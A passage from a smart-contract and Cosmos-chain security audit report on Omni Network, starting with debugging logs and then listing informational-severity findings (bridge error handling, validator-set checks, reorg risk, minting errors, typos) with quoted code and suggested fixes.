↪  +0xc9d
2024-10-25 09:42:59 github.com/cosmos/cosmos-sdk/server.cometABCIWrapper.PrepareProposal(...)
2024-10-25 09:42:59     /home/dontonka/go/pkg/mod/github.com/cosmos/cosmos-sdk@v0.50.10/server/cmt_abci.go:36
2024-10-25 09:42:59 github.com/omni-network/omni/halo/app.abciWrapper.PrepareProposal({{0x32532d8?,
↪  0xc00357d270?}, 0xc00357d280?, 0xc00357d290?}, {0x3237968, 0x7515c60}, 0xc0022f1080)
2024-10-25 09:42:59     /mnt/c/AUDITS/cantina/omni-network/omni/halo/app/abci.go:72 +0x1f6
2024-10-25 09:42:59 github.com/cometbft/cometbft/abci/client.(*localClient).PrepareProposal(0x7f32ff518d08?,
↪  {0x3237968?, 0x7515c60?}, 0x7f33465f75b8?)
2024-10-25 09:42:59
↪  /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/abci/client/local_client.go:157 +0xc7
2024-10-25 09:42:59 github.com/cometbft/cometbft/proxy.(*appConnConsensus).PrepareProposal(0xc003569b60,
↪  {0x3237968, 0x7515c60}, 0xc0022f1080)
2024-10-25 09:42:59     /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/proxy/app_conn.go:84
↪  +0x162
2024-10-25 09:42:59 github.com/cometbft/cometbft/state.(*BlockExecutor).CreateProposalBlock(_, {_, _}, _,
↪  {{{0xb, 0x0}, {0xc0042a97a8, 0x7}}, {0xc0042a97d0, 0xc}, ...}, ...)
2024-10-25 09:42:59     /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/state/execution.go:129
↪  +0x7db
2024-10-25 09:42:59 github.com/cometbft/cometbft/consensus.(*State).createProposalBlock(0xc0022e2008,
↪  {0x3237968, 0x7515c60})
2024-10-25 09:42:59
↪  /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1307 +0x21f
2024-10-25 09:42:59 github.com/cometbft/cometbft/consensus.(*State).defaultDecideProposal(0xc0022e2008, 0x36f,
↪  0x0)
2024-10-25 09:42:59
↪  /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1214 +0x65
2024-10-25 09:42:59 github.com/cometbft/cometbft/consensus.(*State).enterPropose(0xc0022e2008, 0x36f, 0x0)
2024-10-25 09:42:59
↪  /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1193 +0x83e
2024-10-25 09:42:59 github.com/cometbft/cometbft/consensus.(*State).enterNewRound(0xc0022e2008, 0x36f, 0x0)
2024-10-25 09:42:59
↪  /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:1112 +0xb58
2024-10-25 09:42:59 github.com/cometbft/cometbft/consensus.(*State).handleTimeout(0xc0022e2008, {0x415dab?,
↪  0xc000147d60?, 0x626d85?, 0x0?}, {0x36f, 0x0, 0x1, {0xeae9a82, 0xedead9763, ...}, ...})
2024-10-25 09:42:59     /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:983
↪  +0x8c9
2024-10-25 09:42:59 github.com/cometbft/cometbft/consensus.(*State).receiveRoutine(0xc0022e2008, 0x0)
2024-10-25 09:42:59     /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:865
↪  +0x6a5
2024-10-25 09:42:59 created by github.com/cometbft/cometbft/consensus.(*State).OnStart in goroutine 186
2024-10-25 09:42:59     /home/dontonka/go/pkg/mod/github.com/cometbft/cometbft@v0.38.12/consensus/state.go:398
↪  +0x10c
2024-10-25 09:42:59
```

```
Val3 (proposer == 61a2a25)
--------
2024-10-25 09:18:44 24-10-25 13:18:44.110 DEBU  ABCI call: ProcessProposal            height=54 proposer=e3b82d3
2024-10-25 09:18:44 24-10-25 13:18:44.213 DEBU  ABCI call: ExtendVote                 height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************ExtendVote()
2024-10-25 09:18:44 24-10-25 13:18:44.215 INFO Voted for rollup blocks                  votes=7 1654-1=[25]
↪  1001651-4=[13] 1651-4=[18] 1651-1=[18] 1652-4="[20 21]" 1652-1="[23 24]" 1654-4=[22]
2024-10-25 09:18:44 24-10-25 13:18:44.322 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 24-10-25 13:18:44.324 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 2024/10/25 13:18:44 ********************************Attest::Keeper::Approve()
2024-10-25 09:18:44 2024/10/25 13:18:44 ********************************Attest::Keeper::Approve(): pending
↪  vote processed : 1
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Voter::TrimBehind()
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************ValSync::Keeper::Add(EndBlock)
2024-10-25 09:18:44 24-10-25 13:18:44.330 DEBU hash of all writes
↪  workingHash=5175F705981BA965114FAFA908F3781F18A6714316CC1E9AB86972281033ED41
2024-10-25 09:18:44 24-10-25 13:18:44.331 DEBU  ABCI response: FinalizeBlock        height=54 val_updates=0
2024-10-25 09:18:44 24-10-25 13:18:44.331 DEBU  ABCI call: Commit
```

```
Val4 (proposer == f810bdb)
--------
2024-10-25 09:18:44 24-10-25 13:18:44.110 DEBU  ABCI call: ProcessProposal            height=54 proposer=e3b82d3
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Voter::runOnce(): height: 52,
↪  AttestInterval: 5
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Voter::Vote(): allowSkip: false, height: 52
2024-10-25 09:18:44 24-10-25 13:18:44.204 DEBU  Created vote for cross chain block    chain=omni_evm|L
↪  height=52 offset=18 msgs=2 F|mock_l2=5 L|mock_l1=5
2024-10-25 09:18:44 24-10-25 13:18:44.213 DEBU  ABCI call: ExtendVote                 height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************ExtendVote()
2024-10-25 09:18:44 24-10-25 13:18:44.215 INFO Voted for rollup blocks                  votes=7 1651-4=[18]
↪  1651-1=[18] 1652-4="[20 21]" 1652-1="[23 24]" 1654-4=[22] 1654-1="[24 25]" 1001651-4="[13 14]"
2024-10-25 09:18:44 24-10-25 13:18:44.311 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 24-10-25 13:18:44.322 DEBU  ABCI call: VerifyVoteExtension        height=54
2024-10-25 09:18:44 2024/10/25 13:18:44 **********************VerifyVoteExtension(): block hash:
↪  3b5d7c4fbd33495bf53e78840c1d74e905ebcc9a5c674592ebcb770ac1213d0e, height: 54
2024-10-25 09:18:44 2024/10/25 13:18:44 ********************************Attest::Keeper::Approve()
2024-10-25 09:18:44 2024/10/25 13:18:44 ********************************Attest::Keeper::Approve(): pending
↪  vote processed : 1
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************Voter::TrimBehind()
2024-10-25 09:18:44 2024/10/25 13:18:44 ***************************ValSync::Keeper::Add(EndBlock)
2024-10-25 09:18:44 24-10-25 13:18:44.330 DEBU hash of all writes
↪  workingHash=5175F705981BA965114FAFA908F3781F18A6714316CC1E9AB86972281033ED41
2024-10-25 09:18:44 24-10-25 13:18:44.330 DEBU Starting optimistic EVM payload build    next_height=55
2024-10-25 09:18:44 24-10-25 13:18:44.332 DEBU  ABCI response: FinalizeBlock          height=54 val_updates=0
2024-10-25 09:18:44 24-10-25 13:18:44.333 DEBU  ABCI call: Commit
```

- Recommendation Double check if this is expected behavior. Happy to chat further in the comment with judge/sponsor if this is a real concern or not.

3.7.38 Lack of Error Handling for xcall Failure in OmniBridge

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description In the `OmniBridge.sol` contract, the `_bridge` function makes a cross-chain call using `omni.xcall`. However, there is no `error handling` or `fallback mechanism` in place if the xcall operation fails (e.g., due to `insufficient gas`, an invalid recipient, or network issues). Without a way to handle such failures, funds may be left in the contract or even lost, as there is no mechanism to return the amount to the user in case of failure.

This lack of error handling could lead to user funds being locked within the contract or lost in unsuccessful cross-chain calls, reducing the reliability and safety of the bridging process.

- Proof of Concept Consider the following scenario:

1. A user initiates the _bridge function with a specified payor, to address, and amount.
2. omni.xcall attempts to make a cross-chain call with these parameters.
3. Due to an error (e.g., an invalid address or insufficient gas), the xcall operation fails.
4. Since there is no error handling or refund mechanism, the funds remain in the contract, inaccessible to the user and without a path for recovery.

- Recommendation **Implement a Try-Catch Block:** Wrap the omni.xcall operation within a try-catch block to handle cases where xcall may fail. This allows the contract to detect a failure and respond appropriately, either by reverting or refunding the amount to the payor

3.7.39 Insufficient Validation of validatorSetId in xsubmit Function Allows Reuse of Old Validator Sets

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description In the `xsubmit function` of `OmniPortal.sol`, there is a potential vulnerability due to `insufficient validation` of validatorSetId (referred to as valSetId in the code). A malicious actor could leverage this lack of validation to bypass the quorum requirement by using a recent but `non-current validator` set that had previously approved a specific cross-chain transaction. This could allow the attacker to pass in a manipulated or older `valSetId`, which might still meet quorum verification but not reflect the latest validator set state.

The root of the issue is that the function allows a `variance of valSetId` to either be the current ID or close to it, making it possible for a recent but `outdated validator` set to be used. Given that the latest ID is public, an attacker could bypass security by selecting a valSetId that approved a prior transaction.

- Proof of Concept

1. Assume a previous validator set (valSetId) `approved a transaction`, and the latest validator set has a slightly different composition.
2. An attacker could call xsubmit with valSetId set to the previous set that meets quorum for their malicious transaction.
3. Due to the lack of strict validation on valSetId, the contract would accept this older valSetId as valid, enabling the attacker to bypass the intended validator quorum for the current validator set.

```
    function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
{
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        XTypes.BlockHeader calldata xheader = xsub.blockHeader;
        uint64 valSetId = xsub.validatorSetId;

        require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");
        require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
        require(valSetId >= _minValSet(), "OmniPortal: old val set");

        // check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
        require(
            Quorum.verify(
                xsub.attestationRoot,
                xsub.signatures,
                valSet[valSetId],
                valSetTotalPower[valSetId],
                XSubQuorumNumerator,
                XSubQuorumDenominator
            ),
            "OmniPortal: no quorum"
        );
}
```

In this setup, the function only checks that `valSetId` is above `_minValSet()` and that it has non-zero power, which still allows recent but old validator sets to be used. Without enforcing that `valSetId` corresponds to the latest or current validator set, a malicious actor can circumvent the latest quorum requirement.

- Recommendation **Use of Latest Validator Set:** Instead of allowing any recent validator set, modify the function to require valSetId to be strictly equal to the latest validator set ID. This could be achieved by introducing a function that tracks and returns the latest validator set ID.

3.7.40 Potential Ambiguity in Function Call Parameter Ordering

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The `fillUp` function includes a call to `xcall`, passing parameters in a slightly different order than the `xcall` function's signature. Although the parameters are labeled clearly, this discrepancy could introduce confusion for developers or auditors, particularly in code maintenance or refactoring.

Here

```
xcall({
    destChainId: omniChainId(),   uint
    to: gasStation,   // addr
    conf: ConfLevel.Latest,   // uint
    data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),  // bytes
    gasLimit: SETTLE_GAS   // uint
});
```

Whereas the xcall function's signature expects:

```
function xcall(
    uint64 destChainId,
    uint8 conf,
    address to,
    bytes calldata data,
    uint64 gasLimit
) external payable;
```


In `fillUp`, the to and conf parameters appear swapped relative to xcall's signature. However, since Solidity doesn't support named parameters and relies strictly on parameter order, the discrepancy here can be misinterpreted as a misordering error.

While this parameter ordering is correct as written, this mismatch could introduce ambiguity, creating an opportunity for unintended future modifications or overlooked errors in cross-chain calls. An incorrect order of parameters, if it actually occurred, could disrupt transaction routing, cause processing failures, or even affect accounting and fee handling in cross-chain scenarios.

- Recommendation Consider ensuring that the parameter order in all inline calls consistently follows the expected function signature. Additionally, clarify any inline comments or documentation to reinforce that the parameters are indeed correctly ordered, thus avoiding potential misunderstandings

3.7.41 Validator can lose his delegation amount

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description The `DeliverDelegate` function calls `x/staking/msg_keeper.go/Delegate`:

```
=> _, err := skeeper.NewMsgServerImpl(p.sKeeper).Delegate(ctx, msg)
```

Inside this function, x/staking/delegation.go/Delegate is called:

This function enters an if statement where invalidExRate gets called:

```
func (k Keeper) Delegate(
    ctx context.Context, delAddr sdk.AccAddress, bondAmt math.Int, tokenSrc types.BondStatus,
    validator types.Validator, subtractAccount bool,
) (newShares math.LegacyDec, err error) {
    // In certain situations, the exchange rate becomes invalid,
    // for example, if the Validator loses all tokens due to slashing.
    // In this case, any future delegations will be considered invalid.
=>    if validator.InvalidExRate() {
        return math.LegacyZeroDec(), types.ErrDelegatorShareExRateInvalid
    }
}
```

the if statement ensures that if a validator has been fully slashed, which is recognized by having a token amount of zero but still holding shares, any delegation attempt will return an error.

Because of this the following scenario can occur:

- Bob, a validator, holds 100 tokens.
- Bob initiates `Delegate` to add 30 tokens to his delegation at block `N`.
- Due to the nature of this project, delegating at block N can take a few blocks before the XBlock reaches the quorum of votes.
- During this voting process, Bob gets slashed.
- When quorum is finally reached for Bob's delegation, `DeliverDelegate` is finally executed.
- However, Bobs balance is currently 0 because of the slashing.
- As a result, `invalidExRate` returns `true`.
- Since there is no mechanism handling this, Bob will lose his delegation amount.

Note: This is not an user error, there is nothing that Bob can do to prevent this from happening since he can not predict if he gets slashed.

- Impact In the end, Bob loses his delegated amount.
- Recommendation Consider the right mitigation.

3.7.42 Checking token.transferFrom is not complete

Severity: Informational

Context: OmniBridgeL1.sol#L92

A condition **token.transferFrom(payor, address(this), amount)** only works if function **transferFrom** returns a **boolean** value. If function** transferFrom** doesn't return value, as is a case with USDT token, the condition is wrong, and **bridge** transaction will fail

3.7.43 Gas Optimization for Loop Iteration in Validator Functions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description In the allowValidators and disallowValidators functions of the Staking.sol contract, consider using unchecked for the loop iteration since there is no risk of overflow. This optimization can save gas during execution.
- Recommendation suggested code modification:

/* @notice Add validators to allow list

“‘function‘ allowValidators(address[] calldata validators) external onlyOwner { `for (uint256 i = 0; i < validators.length; ) { isAllowedValidator[validators[i]] = true;` emit ValidatorAllowed(validators[i]); unchecked { ++i; // Use pre-increment for potential gas saving } } }“

@notice Remove validators from allow list

“‘function‘ disallowValidators(address[] calldata validators) external onlyOwner { for (uint256 i = 0; i < validators.length;) { isAllowedValidator[validators[i]] = false; emit ValidatorDisallowed(validators[i]); unchecked { ++i; // Use pre-increment for potential gas saving } } }“ Benefits: Gas Efficiency: By using unchecked, you reduce the overhead of overflow checks, leading to lower gas consumption, especially when processing larger arrays. Clarity: The use of ++i can also be clearer in the context of optimization.

3.7.44 MinDeposit and MinDelegation of the Staking.sol should be configurable not constant

Severity: Informational

Context: Staking.sol#L56-L63

- Description

The `MinDeposit` and `MinDelegation` variables of the Staking.sol are declared as constants which will not allow updates to them.

`MinDelegation` variable for example may need to change based on some new metrics to protect the system. However these variables cannot be changed. Consider allowing the `owner` to change them through setter functions.

```
File: Staking.sol
contract Staking is OwnableUpgradeable {
...
uint256 public constant MinDeposit = 100 ether;

    /**
     * @notice The minimum delegation required to delegate to a validator
     */
    uint256 public constant MinDelegation = 1 ether;

...
}
```

- Recommendation

Consider implmenting a setter function for the `MinDeposit` and `MinDelegation` variables of the Staking.sol so that the owner can update them

3.7.45 Latest Stream Blocking During Chain Reorganizations Can Impact Time-Sensitive Applications

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The attestation system's 'latest' stream is designed to deliver real-time attestations sequentially. However, during chain reorganizations, the strict sequential processing causes the stream to block until finalization resolves conflicting attestations. This can lead to financial losses for applications relying on the speed of the 'latest' stream, particularly those performing time-sensitive operations. There is no indication in the documentation that applications should prepare for such a significant delay while using latest stream.
- Finding Description The attestation keeper enforces strict sequential processing of attestations in the 'latest' stream:

1. When a block experiences a reorg, validators may attest to different versions:

```
head, ok := approvedByChain[chainVer]
if ok && head+1 != att.GetAttestOffset() {
    // This isn't the next attestation to approve, so we can't approve it yet.
    continue
}
```

2. The system must wait for a finalized attestation to resolve the conflict:

```
if att.GetConfLevel() == uint32(xchain.ConfFinalized) {
    return false, nil // Only fuzzy attestations are overwritten with finalized attestations.
}
```

3. During this waiting period, all subsequent attestations in the 'latest' stream are blocked, even if they have complete validator agreement and no conflicts.

This means applications relying on the speed of the 'latest' stream will experience unexpected delays during reorgs, regardless of their ability to handle temporary inconsistencies.

- Impact Explanation The primary impact falls on applications that depend on the speed of the 'latest' stream:

1. Arbitrage Bots
    - Miss profitable trading opportunities during stream blockage
    - Cannot execute trades even when profitable conditions exist in later blocks
    - Direct financial losses from missed opportunities
2. Real-time Trading Systems
    - Forced to operate on stale data during stream delays
    - Miss market movements that could be profitable
3. Time-Critical DeFi Operations
    - Delayed responses to market conditions
    - Missed execution windows
    - Potential losses from delayed actions

The key issue is that these applications chose the 'latest' stream specifically for its speed, but the blocking behavior during reorgs defeats this purpose.

- Likelihood Explanation The likelihood is HIGH because:

1. Chain reorganizations are common occurrences on L2s
2. The stream blocking is a guaranteed behavior of the current design
3. Each reorg will cause blocking until finalization
4. Applications have no way to bypass this delay

- Proof of Concept Scenario demonstrating the issue:

1. Application monitors 'latest' stream for arbitrage
2. Block N has a reorg, causing conflicting attestations
3. Profitable arbitrage opportunity appears in block N+3
4. 'Latest' stream is blocked waiting for block N finalization
5. By the time block N+3 is delivered, opportunity is gone
6. Application suffers direct financial loss

Code path showing the blocking behavior:

```
// In Approve function
for iter.Next() {
    att, err := iter.Value()
    // ...
    head, ok := approvedByChain[chainVer]
    if ok && head+1 != att.GetAttestOffset() {
        continue  // Blocks entire latest stream
    }
    // ...
}
```

- Recommendation Consider implementing alternative stream modes that allow applications to choose between consistency and speed based on their requirements. This could include options for applications to receive data during reorgs with appropriate flags/warnings, enabling them to implement their own handling logic while maintaining data flow for time-critical operations.

3.7.46 $STAKE coins should be burnt if `deliverCreateValidator` failed

Severity: Informational

Context: evmstaking.go#L166, evmstaking.go#L203

- Description Because `deliverCreateValidator` and `deliverDelegate` both have the issue, I'll take `deliverCreateValidator` as an example.

In evmstaking.deliverCreateValidator, the function will mint coins by calling `p.bKeeper.MintCoins` in evmstaking.go#L166, and then send the coins to the account by calling `p.bKeeper.SendCoinsFromModuleToAccount`, and does other stuff.

The issue is that if any of the calls after `p.bKeeper.MintCoins(ctx, ModuleName, amountCoins)` returns an err, the mint coins stay in `ModuleName`. Which shouldn't be correct.

- Proof of Concept

```
149 func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator)
↪  error {
150         pubkey, err := k1util.PubKeyBytesToCosmos(ev.Pubkey)
151         if err != nil {
152                 return errors.Wrap(err, "pubkey to cosmos")
153         }
154
155         accAddr := sdk.AccAddress(ev.Validator.Bytes())
156         valAddr := sdk.ValAddress(ev.Validator.Bytes())
157
158         amountCoin, amountCoins := omniToBondCoin(ev.Deposit)
159
160         if _, err := p.sKeeper.GetValidator(ctx, valAddr); err == nil {
161                 return errors.New("validator already exists")
162         }
163
164         p.createAccIfNone(ctx, accAddr)
165
166         if err := p.bKeeper.MintCoins(ctx, ModuleName, amountCoins); err != nil {
167                 return errors.Wrap(err, "mint coins")
168         }
169
170         if err := p.bKeeper.SendCoinsFromModuleToAccount(ctx, ModuleName, accAddr, amountCoins); err !=
↪  nil {
>>>>>>>>>>>> if there is an err here, the mint coins will still belong to `evmstaking`
171                 return errors.Wrap(err, "send coins")
172         }
173
174         log.Info(ctx, "EVM staking deposit detected, adding new validator",
175                 "depositor", ev.Validator.Hex(),
176                 "amount", ev.Deposit.String())
177
178         msg, err := stypes.NewMsgCreateValidator(
179                 valAddr.String(),
180                 pubkey,
181                 amountCoin,
182                 stypes.Description{Moniker: ev.Validator.Hex()},
183                 stypes.NewCommissionRates(math.LegacyZeroDec(), math.LegacyZeroDec(), math.LegacyZeroDec()
),
184                 math.NewInt(1)) // Stub out minimum self delegation for now, just use 1.
185         if err != nil {
>>>>>>>>>>>> if there is an err here, the mint coins will still belong to `evmstaking`
186                 return errors.Wrap(err, "create validator message")
187         }
188
189         _, err = skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg)
190         if err != nil {
>>>>>>>>>>>> if there is an err here, the mint coins will still belong to `evmstaking`
191                 return errors.Wrap(err, "create validator")
192         }
193
194         return nil
195 }
```

- Recommendation If an error occurs, the mint coins should be burnt

3.7.47 `EmitMsg` is returning the blockID instead of attestation offset

Severity: Informational

Context: keeper.go#L45-L83

- Description EmitMsg is returning the blockID, which is simply an auto-increment field from the block-Table, while the consummer is expecting the `attestation offset`, **unexpected**.

The attestation offset is used in `processAttested` to find any validator set that could be deemed `attested`, thus marking it legetimate and allowing the attestation votes that occurred when this set was active to be considered valid, thus allowing to approve cross-chain transactions from that set.

By looking at the piece of code involved here, seems like the sides effect is that it will mark a validator set earlier than expected, thus approving and allowing cross-chain transaction earlier then expected.

```
    // Check if this unattested set was attested to
    if atts, err := k.aKeeper.ListAttestationsFrom(ctx, chainID, uint32(conf), valset.GetAttestOffset(), 1);
↪   err != nil {
        return nil, errors.Wrap(err, "list attestations")
    } else if len(atts) == 0 {
        return nil, nil // No attested set, so no updates.
    }
```

```
func (k *Keeper) ListAttestationsFrom(ctx context.Context, chainID uint64, confLevel uint32, offset uint64,
↪   max uint64) ([]*types.Attestation, error) {
    defer latency("attestations_from")()
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    consensusID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }

    from := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatusChainIdConfLevelAttestOffset(uin
↪   t32(Status_Approved), chainID, confLevel,
↪   offset)
    to := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatusChainIdConfLevelAttestOffset(uint3
↪   2(Status_Approved), chainID, confLevel,
↪   offset+max)

    iter, err := k.attTable.ListRange(ctx, from, to)
    if err != nil {
        return nil, errors.Wrap(err, "list range")
    }
    defer iter.Close()

    var resp []*types.Attestation
    next := offset
    for iter.Next() {
        att, err := iter.Value()
        if err != nil {
            return nil, errors.Wrap(err, "value")
        }

        if att.GetAttestOffset() != next {
            break
        }
        next++

        // If this attestation is overridden by a finalized attestation, use that instead.
        if att.GetFinalizedAttId() != 0 {
            att, err = k.attTable.Get(ctx, att.GetFinalizedAttId())
            if err != nil {
                return nil, errors.Wrap(err, "get finalized attestation")
            }
        }

        sigs, err := k.getSigTuples(ctx, att.GetId())
        if err != nil {
            return nil, errors.Wrap(err, "get att sigs")
        }

        resp = append(resp, toProto(att, sigs, consensusID))
    }
```

```
    return resp, nil
}
```

- Impact `Low` gonna be conservative here, I'm not fully grapsing the complete effect probably. Since the blockID will grow slower than the attestation offset, so essentially `k.aKeeper.ListAttestationsFrom` query for earlier attestation, so it will always return successfull, marking the validator set legetimate much earlier then expected.
- Likelihood `High` as this will always happen.
- Recommendation

```
func (k Keeper) EmitMsg(ctx sdk.Context, typ types.MsgType, msgTypeID uint64, destChainID uint64, shardID
↪  xchain.ShardID) (uint64, error) {

        ...

    // Get or create a block to add the message to
    var blockID uint64
    if block, err := k.blockTable.GetByCreatedHeight(ctx, height); ormerrors.IsNotFound(err) {
        blockID, err = k.blockTable.InsertReturningId(ctx, &Block{CreatedHeight: height})
        if err != nil {
            return 0, errors.Wrap(err, "insert block")
        }
    } else if err != nil {
        return 0, errors.Wrap(err, "get block")
    } else {
        blockID = block.GetId()
    }

    offset, err := k.incAndGetOffset(ctx, destChainID, shardID)
    if err != nil {
        return 0, errors.Wrap(err, "increment offset")
    }

    err = k.msgTable.Insert(ctx, &Msg{
        BlockId:      blockID,
        MsgType:      uint32(typ),
        MsgTypeId:    msgTypeID,
        DestChainId:  destChainID,
        ShardId:      uint64(shardID),
        StreamOffset: offset,
    })
    if err != nil {
        return 0, errors.Wrap(err, "insert message")
    }

-   return blockID, nil
+   return offset, nil
}
```

3.7.48 Check for Amount Greater than Zero

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description in the OmniBridgeL1::withdraw function, This function does not currently check if amount > 0. Without this check, it could potentially trigger zero-amount transfers, which, while often harmless, could lead to unexpected behaviors in external interactions or gas inefficiencies.
- Recommendation

Solution: Add a require(amount > 0, "Amount must be greater than zero");.

3.7.49 Potential Fund Discrepancy Due to Reorg Risk When Using ConfLevel.Latest

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary In the fillUp function within the `OmniGasPump` contract, ConfLevel.Latest is currently used to send a cross-chain message via the xcall function. This setting allows for message processing based on the latest block of the source chain rather than waiting for block finalization. If a reorganization (reorg) occurs on the source chain after the `fillUp` message is sent but before finalization, it could result in the target chain processing a message that is no longer valid on the source chain. This could lead to an unintended deduction of funds from the user without a corresponding increase in the gas station balance.

```
function fillUp(address recipient) public payable whenNotPaused returns (uint256) {
      require(recipient != address(0), "OmniGasPump: no zero addr");

      // take xcall fee
      uint256 f = xfee();
      require(msg.value >= f, "OmniGasPump: insufficient fee");
      uint256 amtETH = msg.value - f;

      // check max
      require(amtETH <= maxSwap, "OmniGasPump: over max");

      // take toll
      uint256 t = amtETH * toll / TOLL_DENOM;
      amtETH -= t;

      uint256 amtOMNI = _toOmni(amtETH);

      // update owed
      owed[recipient] += amtOMNI;

      // settle up with the gas station
      xcall({
          destChainId: omniChainId(),
          to: gasStation,
          conf: ConfLevel.Latest,
          data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
          gasLimit: SETTLE_GAS
      });

      emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);

      return amtOMNI;
  }
```

In the `fillUp` function within the `OmniGasPump` contract, `ConfLevel.Latest` is used to send cross-chain messages via xcall. This allows Chain `B` (the destination chain where the gas station settlement occurs) to process messages based on the latest block from Chain `A` (the source chain) without waiting for finalization. This introduces a risk of fund discrepancy due to potential chain reorganization (reorg) on Chain `A`. Here's how it can unfold: a user initiates `fillUp`, sending an `xcall` message containing transaction details to Chain `B`. Chain `B`, relies on `ConfLevel.Latest`, proceeds with the settlement assuming the latest block from Chain `A` is valid. If Chain `A` experiences a reorg, discarding the block that contained the user's transaction, Chain `B` will have already processed the funds transfer. Since Chain `A's` final history lacks the user's transaction, Chain `A` no longer acknowledges the deduction, creating a state mismatch.

> However, because of the reorg, the transaction in Chain `A` is lost. Chain `A` no longer recognizes this transaction, so the funds deducted from the user's account (according to the gas station's records on Chain `B`) effectively "disappear" from the user's perspective.
>
> **The use of `ConfLevel.Latest` in the `fillUp` function's xcall allows messages to be processed based on non-finalized blocks. If these blocks are later reverted due to a reorg, the transaction's legitimacy is compromised, but the destination chain has already updated its state, leading to a mismatch.**

- Impact This could cause a mismatch between the user's account balance on the source chain and the gas station balance on the destination chain. If a reorg discards the block containing the `fillUp` transaction, the funds may be deducted from the user's account without a valid record of the transaction in the source chain's final history. Consequently, the user may experience a loss of funds.

- Recommendation
- If `ConfLevel.Finalized` were used instead:

  Waiting for Finality: ***The `fillUp` `xcall` would only proceed once Chain `A`'s block is finalized. Validators would verify that the block containing the fillUp transaction is part of Chain `A`'s permanent history.***

  Eliminating Reorg Risk: ***Since the transaction is processed only after finalization, there's no risk of it being discarded due to a reorg. This ensures that the user's funds and the gas station settlement on Chain `B` stay in sync, preventing the discrepancy described above.***

```
xcall({
    destChainId: omniChainId(),
    to: gasStation,
 -  conf: ConfLevel.latest,
    data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
    gasLimit: SETTLE_GAS
});

 xcall({
    destChainId: omniChainId(),
    to: gasStation,
  + conf: ConfLevel.Finalized,
    data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
    gasLimit: SETTLE_GAS
});
```

From what I understand between the `ConfLevel.Finalized` & `ConfLevel.latest`, the confidence level allows validators to process messages as soon as they appear on the source chain, based on the latest available block. This provides quicker message delivery but carries a risk since these blocks are not final while with `ConfLevel.Finalized`, validators wait for the block to reach finality on the source chain before processing the message on the destination chain. Finality ensures that the block is permanent and not subject to change, providing a guarantee of exactly-once delivery.

However `ConfLevel.latest` can exp ReOrg attack!

3.7.50 Code quality issues: typos

Severity: Informational

Context: OmniPortalStorage.sol#L19

- Description A few typos in the target repository include,

1. `OmniPortalStorage`

```
- @notice Maxium number of bytes allowed in xreceipt result
+ @notice Maximum number of bytes allowed in xreceipt result
```

- Recommendation Consider fixing the typos mentioned above to improve code-quality and redeability.

3.7.51 Intended functionality to update a portal's supported shards is broken

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

The `registry` module allows tracking the addition of new supported portals and broadcast them to all the other portals.

It does this in `logeventproc.go` which tracks `PortalRegistered` events from the `PortalRegistry`. In `logeventproc.go`, we can see there is a feature to update an existing portal's supported shards:

```
// mergePortal merges the new portal with the existing list.
func mergePortal(existing []*Portal, portal *Portal) ([]*Portal, error) {
